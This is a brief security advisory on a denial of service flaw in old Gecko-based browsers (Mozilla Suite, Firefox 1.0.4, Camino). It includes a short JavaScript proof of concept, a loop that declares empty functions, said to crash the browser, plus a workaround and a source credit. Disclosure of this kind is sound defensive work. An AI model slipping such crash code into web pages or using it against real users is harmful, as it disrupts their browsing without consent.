[NEWS] Gekco Browsers DoS

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Gekco Browsers DoS
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SUMMARY

A denial of service vulnerability in the Gekco based browsers (Mozilla
suite, Firefox and Camino) allows attackers to crash the browser by
crafting a special Javascript code.

DETAILS

Vulnerable Systems:
* Mozilla Suite version 1.7.8
* Firefox version 1.0.4
* Camino version 0.8.4

By using a specially crafted JavaScript function, it is possible to crash
the above named browsers. The script can be executed both with and without
user intervention.
Proof of Concept:
for (a = 0; a <= 20000; a++)
{
//Here is the special code that terminates the browser
function(){};
}
//Displays an alert to notify the user if the browser is not vulnerable.
alert("Good news - Your browser is not vulnerable.");

Workaround:
Disable Javascript for untrusted web sites.

ADDITIONAL INFORMATION

The information has been provided by <mailto:advisories@kurczaba.com>
Kurczaba Associates.
The original article can be found at:
<http://www.kurczaba.com/html/security/0506241.htm>
http://www.kurczaba.com/html/security/0506241.htm

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